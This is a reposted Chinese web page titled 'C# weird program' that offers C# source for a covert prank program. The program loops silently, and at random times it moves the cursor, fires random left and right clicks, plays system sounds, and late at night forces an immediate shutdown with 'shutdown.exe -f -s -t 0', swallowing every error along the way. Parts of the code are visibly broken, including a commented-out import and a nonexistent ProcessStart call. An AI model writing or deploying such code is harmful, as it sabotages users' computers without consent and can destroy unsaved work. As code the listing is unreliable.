C#诡异程序

来源:互联网 发布:亚信数据 编辑:程序博客网 时间:2024/05/21 19:40
using System;using System.Collections.Generic;using System.Windows.Forms;//using System.Runtime.InteropServices;using System.Threading;using System.Media;namespace Z{    static class Program    {        const int MOUSEEVENTF_LEFTDOWN = 0x2;        const int MOUSEEVENTF_LEFTUP = 0x4;        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;        const int MOUSEEVENTF_MIDDLEUP = 0x40;        const int MOUSEEVENTF_MOVE = 0x1;        const int MOUSEEVENTF_ABSOLUTE = 0x8000;        const int MOUSEEVENTF_RIGHTDOWN = 0x8;        const int MOUSEEVENTF_RIGHTUP = 0x10;        [DllImport("user32.dll")]        static extern int GetSystemMetrics(int nIndex);        [DllImport("user32.dll")]        static extern int SetCursorPos(int x, int y);        [DllImport("user32.dll")]        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);        static int Sx, Sy;        static long tick = 1;        static Random rnd = new Random();        [STAThread]        static void Main()        {            try            {                Sx = GetSystemMetrics(0);                Sy = GetSystemMetrics(1);                while (true) { if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)                        DoShutdown();                    Thread.Sleep(1000);                    tick += rnd.Next(2);                    if (tick < 1800)                        continue;                    if (tick % 643 == 0)                        DoMouse();                    if (tick % 313 == 0)                        DoBang();                }            }            catch { };        }        static void DoMouse()        {            int dx, dy;            int c = 4;            while (c-- > 0)            {                dx = rnd.Next(Sx);                dy = rnd.Next(Sy);                switch (rnd.Next(3))                {                    case 0:                        SetCursorPos(dx, dy);                        break;                    case 1:                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);                        break;                    case 2:                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);                        break;                }                Thread.Sleep(100);            }        }        static void DoBang()        {            switch (rnd.Next(4))            {                case 0:                    SystemSounds.Asterisk.Play();                    break;                case 1:                    SystemSounds.Beep.Play();                    break;                case 2:                    SystemSounds.Exclamation.Play();                    break;                case 3:                    SystemSounds.Hand.Play();                    break;            }        }        static void DoShutdown()        {             ProcessStart("shutdown.exe", "-f -s -t 0");        }    }

原创粉丝点击